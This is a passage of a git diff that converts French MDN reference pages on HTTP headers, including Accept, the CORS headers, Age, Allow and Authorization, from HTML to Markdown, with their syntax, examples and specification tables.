"Accept-Language", "5.3.5")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "Accept-Language", "5.3.5")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Accept-Language")}}</p> +{{Compat("http.headers.Accept-Language")}} -<h2 id="Voir_également">Voir également</h2> +## Voir également -<ul> - <li>HTTP <a href="/fr-FR/docs/Web/HTTP/Content_negotiation">négociation de contenu</a></li> - <li>En-tête avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Language")}}</li> - <li>Autres en-têtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li> -</ul> +- HTTP [négociation de contenu](/fr-FR/docs/Web/HTTP/Content_negotiation) +- En-tête avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Language")}} +- Autres en-têtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}} diff --git a/files/fr/web/http/headers/accept/index.md b/files/fr/web/http/headers/accept/index.md index 2f27ede072..62b38864b0 100644 --- a/files/fr/web/http/headers/accept/index.md +++ b/files/fr/web/http/headers/accept/index.md @@ -8,81 +8,69 @@ tags: - Reference translation_of: Web/HTTP/Headers/Accept --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le paramètre d'entête de requête HTTP <code><strong>Accept</strong></code> indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -(<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css, ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même.</p> +Le paramètre d'entête de requête HTTP **`Accept`** indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -([content negotiation](/en-US/docs/Web/HTTP/Content_negotiation)), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css, ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'entête</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> - <td>oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Simple header", "CORS-safelisted request-header")}} + </th> + <td>oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Accept: <MIME_type>/<MIME_subtype> -Accept: <MIME_type>/* -Accept: */* + Accept: <MIME_type>/<MIME_subtype> + Accept: <MIME_type>/* + Accept: */* -// Types multiples, pondérés {{glossary("quality values", "quality value")}} par la syntaxe : -Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre> + // Types multiples, pondérés {{glossary("quality values", "quality value")}} par la syntaxe : + Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><code><MIME_type>/<MIME_subtype></code></dt> - <dd>Un type MIME unique et déterminé <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>, comme par exemple <code>text/html</code>.</dd> - <dt><code><MIME_type>/*</code></dt> - <dd>un type MIME type ne comprenant pas de sous-type. <code>image/*</code> prendra en charge <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> et tous autres types d'image.</dd> - <dt><code>*/*</code></dt> - <dd>Tout type MIME </dd> - <dt><code>;q=</code> (facteur de pondération q)</dt> - <dd>N'importe quelle valeur utilisée est placée selon un ordre de préférence exprimé par une valeur de qualité (<a href="/en-US/docs/Glossary/Quality_values">quality value</a>) relative appelée le <em>poids</em>.</dd> -</dl> +- `<MIME_type>/<MIME_subtype>` + - : Un type MIME unique et déterminé [MIME type](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types), comme par exemple `text/html`. +- `<MIME_type>/*` + - : un type MIME type ne comprenant pas de sous-type. `image/*` prendra en charge `image/png`, `image/svg`, `image/gif` et tous autres types d'image. +- `*/*` + - : Tout type MIME +- `;q=` (facteur de pondération q) + - : N'importe quelle valeur utilisée est placée selon un ordre de préférence exprimé par une valeur de qualité ([quality value](/en-US/docs/Glossary/Quality_values)) relative appelée le _poids_. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Accept: text/html + Accept: text/html -Accept: image/* + Accept: image/* -Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 -</pre> + Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 -<h2 id="Specifications">Specifications</h2> +## Specifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "Accept", "5.3.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Vocabulaire et cas d'usage</td> - </tr> - </tbody> -</table> +| Specification | Titre | +| -------------------------------------------- | ------------------------------------------------------------------ | +| {{RFC("7231", "Accept", "5.3.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Vocabulaire et cas d'usage | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Accept")}}</p> +{{Compat("http.headers.Accept")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li> - <li>Entête avec le résultat de la résolution de contenu : {{HTTPHeader("Content-Type")}}</li> - <li>Autres entêtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> -</ul> +- HTTP [content negotiation](/en-US/docs/Web/HTTP/Content_negotiation) +- Entête avec le résultat de la résolution de contenu : {{HTTPHeader("Content-Type")}} +- Autres entêtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}} diff --git a/files/fr/web/http/headers/access-control-allow-methods/index.md b/files/fr/web/http/headers/access-control-allow-methods/index.md index 1460b08bec..03f66f0483 100644 --- a/files/fr/web/http/headers/access-control-allow-methods/index.md +++ b/files/fr/web/http/headers/access-control-allow-methods/index.md @@ -8,77 +8,57 @@ tags: - entête translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'entête de réponse <strong><code>Access-Control-Allow-Methods</code></strong> spécifie les méthodes autorisées quand on accède à la ressource en réponse à une requête de pré-vérification ({{glossary("preflight request")}}).</p> +L'entête de réponse **`Access-Control-Allow-Methods`** spécifie les méthodes autorisées quand on accède à la ressource en réponse à une requête de pré-vérification ({{glossary("preflight request")}}). <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'entête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Access-Control-Allow-Methods: <methode>, <methode>, ... -</pre> + Access-Control-Allow-Methods: <methode>, <methode>, ... -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><methode></dt> - <dd>Liste délimitée par des virgules des <a href="/en-US/docs/Web/HTTP/Methods">méthodes de requêtes HTTP</a> autorisées.</dd> -</dl> +- \<methode> + - : Liste délimitée par des virgules des [méthodes de requêtes HTTP](/en-US/docs/Web/HTTP/Methods) autorisées. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Access-Control-Allow-Methods: POST, GET, OPTIONS</pre> + Access-Control-Allow-Methods: POST, GET, OPTIONS -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}</td> - <td>{{Spec2("Fetch")}}</td> - <td>Définition initiale</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------------------------------------------ | ------------------------ | ------------------- | +| {{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}} | {{Spec2("Fetch")}} | Définition initiale | + +## Compatibilité avec les navigateurs -<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2> +{{Compat("http.headers.Access-Control-Allow-Methods")}} -<p>{{Compat("http.headers.Access-Control-Allow-Methods")}}</p> +## Notes de compatibilité -<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2> +- La valeur joker (\*) mentionnée dans la dernière version de la spécification n'est pas encore implémentée dans tous les navigateurs : -<ul> - <li>La valeur joker (*) mentionnée dans la dernière version de la spécification n'est pas encore implémentée dans tous les navigateurs : - <ul> - <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li> - <li>Firefox: {{bug(1309358)}}</li> - <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li> - </ul> - </li> -</ul> + - Chromium: [Issue 615313](https://bugs.chromium.org/p/chromium/issues/detail?id=615313) + - Firefox: {{bug(1309358)}} + - Servo: [Issue 13283](https://github.com/servo/servo/issues/13283) -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li> - <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li> - <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li> - <li>{{HTTPHeader("Access-Control-Request-Method")}}</li> -</ul> +- {{HTTPHeader("Access-Control-Allow-Origin")}} +- {{HTTPHeader("Access-Control-Expose-Headers")}} +- {{HTTPHeader("Access-Control-Allow-Headers")}} +- {{HTTPHeader("Access-Control-Request-Method")}} diff --git a/files/fr/web/http/headers/access-control-allow-origin/index.md b/files/fr/web/http/headers/access-control-allow-origin/index.md index 359319cc18..1e4d094efd 100644 --- a/files/fr/web/http/headers/access-control-allow-origin/index.md +++ b/files/fr/web/http/headers/access-control-allow-origin/index.md @@ -3,80 +3,64 @@ title: Access-Control-Allow-Origin slug: Web/HTTP/Headers/Access-Control-Allow-Origin translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'entête <code><strong>Access-Control-Allow-Origin</strong></code> renvoie une réponse indiquant si les ressources peuvent être partagées avec une <a href="/fr/docs/Glossaire/Origine">origine</a> donnée.</p> +L'entête **`Access-Control-Allow-Origin`** renvoie une réponse indiquant si les ressources peuvent être partagées avec une [origine](/fr/docs/Glossaire/Origine) donnée. <table class="properties"> - <tbody> - <tr> - <th scope="row">Header type</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>no</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Access-Control-Allow-Origin: * -Access-Control-Allow-Origin: <origin> -Access-Control-Allow-Origin: null -</pre> + Access-Control-Allow-Origin: * + Access-Control-Allow-Origin: <origin> + Access-Control-Allow-Origin: null -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt>*</dt> - <dd>Pour les demandes sans informations d’identification, le serveur peut spécifier « * » comme un caractère générique, permettant ainsi à n’importe quelle origine d'accéder à la ressource.</dd> - <dt><origin></dt> - <dd>Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine.</dd> -</dl> +- \* + - : Pour les demandes sans informations d’identification, le serveur peut spécifier « \* » comme un caractère générique, permettant ainsi à n’importe quelle origine d'accéder à la ressource. +- \<origin> + - : Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine. -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Pour permettre à n'importe quelle ressource d'accéder à vos ressources, vous pouvez indiquer :</p> +Pour permettre à n'importe quelle ressource d'accéder à vos ressources, vous pouvez indiquer : -<pre>Access-Control-Allow-Origin: *</pre> + Access-Control-Allow-Origin: * -<p>Pour permettre <code>https://developer.mozilla.org</code> d'accéder à vos ressources, vous pouvez indiquer :</p> +Pour permettre `https://developer.mozilla.org` d'accéder à vos ressources, vous pouvez indiquer : -<pre>Access-Control-Allow-Origin: https://developer.mozilla.org</pre> + Access-Control-Allow-Origin: https://developer.mozilla.org -<h3 id="CORS_et_le_cache">CORS et le cache</h3> +### CORS et le cache -<p>Si le serveur spécifie un hôte d'origine plutôt que "*", il doit également inclure "<em>Origin</em>" dans l'en-tête de réponse "<em><a href="/fr/docs/Web/HTTP/Headers/Vary">Vary</a></em>" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête.</p> +Si le serveur spécifie un hôte d'origine plutôt que "\*", il doit également inclure "_Origin_" dans l'en-tête de réponse "_[Vary](/fr/docs/Web/HTTP/Headers/Vary)_" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête. -<pre>Access-Control-Allow-Origin: https://developer.mozilla.org -Vary: Origin</pre> + Access-Control-Allow-Origin: https://developer.mozilla.org + Vary: Origin -<h2 id="Caractéristiques">Caractéristiques</h2> +## Caractéristiques -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Caractéristiques</th> - <th scope="col">Statue</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td> - <td>{{Spec2("Fetch")}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> +| Caractéristiques | Statue | Commentaire | +| -------------------------------------------------------------------------------------------------------------------- | ------------------------ | ------------------- | +| {{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}} | {{Spec2("Fetch")}} | Initial definition. | -<h2 id="Compatibilité">Compatibilité</h2> +## Compatibilité -<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> +{{Compat("http.headers.Access-Control-Allow-Origin")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Origin")}}</li> - <li>{{HTTPHeader("Vary")}}</li> -</ul> +- {{HTTPHeader("Origin")}} +- {{HTTPHeader("Vary")}} diff --git a/files/fr/web/http/headers/access-control-request-headers/index.md b/files/fr/web/http/headers/access-control-request-headers/index.md index 4a181b1335..0445c92aa6 100644 --- a/files/fr/web/http/headers/access-control-request-headers/index.md +++ b/files/fr/web/http/headers/access-control-request-headers/index.md @@ -8,64 +8,48 @@ tags: - pré-vérification translation_of: Web/HTTP/Headers/Access-Control-Request-Headers --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'entête <strong><code>Access-Control-Request-Headers</code></strong> est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification.</p> +L'entête **`Access-Control-Request-Headers`** est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification. <table class="properties"> - <tbody> - <tr> - <th scope="row">Header type</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>yes</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Access-Control-Request-Headers: <header-name>, <header-name>, ... -</pre> + Access-Control-Request-Headers: <header-name>, <header-name>, ... -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><header-name></dt> - <dd>Une liste <a href="/en-US/docs/Web/HTTP/Headers">d'entête HTTP</a> séparé par des virgules qui sont inclus dans la requête.</dd> -</dl> +- \<header-name> + - : Une liste [d'entête HTTP](/en-US/docs/Web/HTTP/Headers) séparé par des virgules qui sont inclus dans la requête. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> + Access-Control-Request-Headers: X-PINGOTHER, Content-Type -<p>Dans cet exemple le serveur en réponse à la demande de pré-vérification indiquer au demandeur de la pré-vérification que la requête suivante sera accepté si elle contient <em>X-PINGOTHER</em> ou <em>Content-type</em>.</p> +Dans cet exemple le serveur en réponse à la demande de pré-vérification indiquer au demandeur de la pré-vérification que la requête suivante sera accepté si elle contient _X-PINGOTHER_ ou _Content-type_. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Status</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}</td> - <td>{{Spec2("Fetch")}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> +| Spécification | Status | Commentaire | +| ---------------------------------------------------------------------------------------------------------------------------- | ------------------------ | ------------------- | +| {{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}} | {{Spec2("Fetch")}} | Initial definition. | -<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2> +## Compatibilité navigateur -<p>{{Compat("http/headers/access-control-request-headers")}}</p> +{{Compat("http/headers/access-control-request-headers")}} -<h2 id="Voir_également">Voir également</h2> +## Voir également -<ul> - <li>{{HTTPHeader("Access-Control-Request-Method")}}</li> -</ul> +- {{HTTPHeader("Access-Control-Request-Method")}} diff --git a/files/fr/web/http/headers/age/index.md b/files/fr/web/http/headers/age/index.md index fc78feaa3e..a455987bbd 100644 --- a/files/fr/web/http/headers/age/index.md +++ b/files/fr/web/http/headers/age/index.md @@ -3,67 +3,51 @@ title: Age slug: Web/HTTP/Headers/Age translation_of: Web/HTTP/Headers/Age --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'entête HTTP {{HTTPHeader("Age")}} indique le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.</p> +L'entête HTTP {{HTTPHeader("Age")}} indique le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy. + +Sa valeur est généralement proche de zéro. Elle vaut 0 lorsque la ressource vient d'être rapatriée du serveur d'origine; autrement, sa valeur équivaut à la différence entre la date courante du proxy et la valeur de l'entête {{HTTPHeader("Date")}} inclus dans la réponse HTTP. -<p>Sa valeur est généralement proche de zéro. Elle vaut 0 lorsque la ressource vient d'être rapatriée du serveur d'origine; autrement, sa valeur équivaut à la différence entre la date courante du proxy et la valeur de l'entête {{HTTPHeader("Date")}} inclus dans la réponse HTTP.</p> -<p> </p> <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'entête</th> - <td>Entête de réponse</td> - </tr> - <tr> - <th scope="row">Nom d'entête interdit</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>Entête de réponse</td> + </tr> + <tr> + <th scope="row">Nom d'entête interdit</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Age: <valeur-en-secondes> -</pre> + Age: <valeur-en-secondes> -<h2 id="Directive">Directive</h2> +## Directive -<dl> - <dt><valeur-en-secondes></dt> - <dd> - <p>Un entier positif indiquant le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.</p> - </dd> -</dl> +- \<valeur-en-secondes> + - : Un entier positif indiquant le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy. -<h2 id="Exemple">Exemple</h2> +## Exemple -<pre>Age: 24</pre> + Age: 24 -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7234", "Age", "5.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------- | ----------------------------------------------- | +| {{RFC("7234", "Age", "5.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Caching | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Age")}}</p> +{{Compat("http.headers.Age")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Cache-Control")}}</li> - <li>{{HTTPHeader("Expires")}}</li> -</ul> +- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("Expires")}} diff --git a/files/fr/web/http/headers/allow/index.md b/files/fr/web/http/headers/allow/index.md index e8605d2bfa..35e5badcc2 100644 --- a/files/fr/web/http/headers/allow/index.md +++ b/files/fr/web/http/headers/allow/index.md @@ -8,59 +8,45 @@ tags: - entête translation_of: Web/HTTP/Headers/Allow --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'entête <code><strong>Allow</strong></code> liste les méthodes supportées par une ressource.</p> +L'entête **`Allow`** liste les méthodes supportées par une ressource. -<p>Cet entête doit être envoyée si le serveur répond avec un statut {{HTTPStatus("405")}} <code>Method Not Allowed</code> pour indiquer quelles méthodes peuvent être utilisées pour la requête. Une entête <code>Allow</code> vide indique que la ressource n'autorise aucune méthode, ce qui peut erriver temporairement pour une ressource donnée, par exemple.</p> +Cet entête doit être envoyée si le serveur répond avec un statut {{HTTPStatus("405")}} `Method Not Allowed` pour indiquer quelles méthodes peuvent être utilisées pour la requête. Une entête `Allow` vide indique que la ressource n'autorise aucune méthode, ce qui peut erriver temporairement pour une ressource donnée, par exemple. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'entête</th> - <td>{{Glossary("Entity header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Allow: <methodes-http> -</pre> + Allow: <methodes-http> -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><methodes-http></dt> - <dd>La liste des <a href="/en-US/docs/Web/HTTP/Methods">méthodes de requête HTTP</a> autorisées, séparées par des virgules.</dd> -</dl> +- \<methodes-http> + - : La liste des [méthodes de requête HTTP](/en-US/docs/Web/HTTP/Methods) autorisées, séparées par des virgules. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Allow: GET, POST, HEAD</pre> + Allow: GET, POST, HEAD -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "Allow", "7.4.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "Allow", "7.4.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("405")}}</li> - <li>{{HTTPHeader("Server")}}</li> -</ul> +- {{HTTPStatus("405")}} +- {{HTTPHeader("Server")}} diff --git a/files/fr/web/http/headers/authorization/index.md b/files/fr/web/http/headers/authorization/index.md index 065c4fc78a..134d478a99 100644 --- a/files/fr/web/http/headers/authorization/index.md +++ b/files/fr/web/http/headers/authorization/index.md @@ -8,82 +8,65 @@ tags: - requête translation_of: Web/HTTP/Headers/Authorization --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête de requête HTTP <strong><code>Authorization </code></strong>contient les identifiants permettant l'authentification d'un utilisateur auprès d'un serveur, habituellement après que le serveur ait répondu avec un statut {{HTTPStatus("401")}} <code>Unauthorized</code> et l'en-tête {{HTTPHeader("WWW-Authenticate")}}</p> +L'en-tête de requête HTTP **`Authorization `**contient les identifiants permettant l'authentification d'un utilisateur auprès d'un serveur, habituellement après que le serveur ait répondu avec un statut {{HTTPStatus("401")}} `Unauthorized` et l'en-tête {{HTTPHeader("WWW-Authenticate")}} <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row"> + <a href="/fr/docs/Glossaire/Forbidden_header_name" + >Nom d'en-tête interdit</a + > + </th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<pre class="syntaxbox">Authorization: <type> <credentials></pre> - -<h2 id="Directives">Directives</h2> - -<dl> - <dt><em><type></em></dt> - <dd><p><a href="/fr/docs/Web/HTTP/Authentication#Schéma_d'authentification">Le type d'authentification</a>. Le type <code><a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a></code> est souvent utilisé. Pour connaître les autres types :</p> - <ul> - <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li> - </ul> - </dd> - <dt><em><credentials></em></dt> - <dd><p>Si c'est le type d'authentification <code>"Basic"</code> qui est utilisé, les identifiants sont construits de la manière suivante :</p> - <ul> - <li>L'identifiant de l'utilisateur et le mot de passe sont combinés avec deux-points : (<code>aladdin:sesameOuvreToi</code>).</li> - <li>Cette chaîne de caractères est ensuite encodée en <a href="/fr/docs/Web/API/WindowBase64/Décoder_encoder_en_base64">base64</a> (<code>YWxhZGRpbjpzZXNhbWVPdXZyZVRvaQ==</code>).</li> - </ul> - <div class="note"> - <p><strong>Note :</strong> L'encodage en Base64 n'est pas un chiffrement ou un hachage ! Cette méthode est aussi peu sûre que d'envoyer les identifiants en clair (l'encodage base64 est un encodage réversible). Il faudra privilégier HTTPS lorsqu'on emploie une authentification "basique".</p> - </div> - </dd> -</dl> - -<h2 id="Exemples">Exemples</h2> - -<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l -</pre> - -<p>Voir aussi l'article <a href="/fr/docs/Web/HTTP/Authentication">authentification HTTP</a> avec des exemples de configuration de serveurs Apache ou nginx pour protéger votre site grâce à un mot de passe et l'authentification HTTP basique.</p> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7235", "Authorization", "4.2")}}</td> - <td>HTTP/1.1 : Authentification</td> - </tr> - <tr> - <td>{{RFC("7617")}}</td> - <td>Schéma d'Authentification HTTP 'Basic'</td> - </tr> - </tbody> -</table> +## Syntaxe + + Authorization: <type> <credentials> + +## Directives + +- _\<type>_ + + - : [Le type d'authentification](/fr/docs/Web/HTTP/Authentication#Schéma_d'authentification). Le type [`"Basic"`](/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme) est souvent utilisé. Pour connaître les autres types : + + - [IANA registry of Authentication schemes](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml) + +- _\<credentials>_ + + - : Si c'est le type d'authentification `"Basic"` qui est utilisé, les identifiants sont construits de la manière suivante : + + - L'identifiant de l'utilisateur et le mot de passe sont combinés avec deux-points : (`aladdin:sesameOuvreToi`). + - Cette chaîne de caractères est ensuite encodée en 